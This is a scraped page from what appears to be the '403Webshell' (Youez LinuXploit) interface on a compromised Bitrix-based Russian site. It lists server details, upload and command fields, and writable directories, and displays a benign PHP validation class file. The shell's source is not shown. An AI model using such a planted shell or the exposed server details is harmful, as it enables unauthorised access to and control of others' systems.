403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/Validation/Rule/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/Validation/Rule/ElementsType.php
<?php

declare(strict_types=1);

namespace Bitrix\Main\Validation\Rule;

use ArrayAccess;
use Attribute;
use Bitrix\Main\ArgumentException;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Localization\LocalizableMessage;
use Bitrix\Main\Localization\LocalizableMessageInterface;
use Bitrix\Main\Validation\Rule\Enum\Type;
use Bitrix\Main\Validation\ValidationError;
use Bitrix\Main\Validation\ValidationResult;

#[Attribute(Attribute::TARGET_PROPERTY | Attribute::TARGET_PARAMETER)]
class ElementsType implements PropertyValidationAttributeInterface
{
	use ValidationErrorTrait;

	/**
	 * @throws ArgumentException
	 */
	public function __construct(
		private readonly ?Type   $typeEnum = null,
		private readonly ?string $className = null,
		string|LocalizableMessageInterface|null $errorMessage = null
	)
	{
		if (null === $this->typeEnum && null === $this->className)
		{
			throw new ArgumentException(Loc::getMessage('MAIN_VALIDATION_ELEMENTS_TYPE_UNSUPPORTED_TYPE'));
		}

		$this->errorMessage = $errorMessage;
	}

	public function validateProperty(mixed $propertyValue): ValidationResult
	{
		$result = new ValidationResult();

		if (!is_array($propertyValue) && !is_iterable($propertyValue) && !($propertyValue instanceof ArrayAccess))
		{
			$result->addError(new ValidationError(
				new LocalizableMessage('MAIN_VALIDATION_ELEMENTS_TYPE_UNSUPPORTED_TYPE')
			));

			return $this->replaceWithCustomError($result);
		}

		if (null === $this->typeEnum)
		{
			$result = $this->checkClassType($propertyValue);
		}
		else
		{
			$result = $this->checkScalar($propertyValue);
		}

		return $this->replaceWithCustomError($result);
	}

	private function checkScalar(mixed $propertyValue): ValidationResult
	{
		$result = new ValidationResult();

		$checkType = $this->typeEnum->value;

		foreach ($propertyValue as $item)
		{
			if (!$checkType($item))
			{
				$result->addError(new ValidationError(
					new LocalizableMessage('MAIN_VALIDATION_ELEMENTS_TYPE_UNSUPPORTED_TYPE')
				));

				return $result;
			}
		}

		return $result;
	}

	private function checkClassType(mixed $propertyValue): ValidationResult
	{
		$result = new ValidationResult();

		if (!class_exists($this->className))
		{
			$result->addError(new ValidationError(
				new LocalizableMessage('MAIN_VALIDATION_ELEMENTS_TYPE_UNSUPPORTED_TYPE')
			));

			return $result;
		}

		foreach ($propertyValue as $item)
		{
			if (!$item instanceof $this->className)
			{
				$result->addError(new ValidationError(
					new LocalizableMessage('MAIN_VALIDATION_ELEMENTS_TYPE_UNSUPPORTED_TYPE')
				));

				return $result;
			}
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit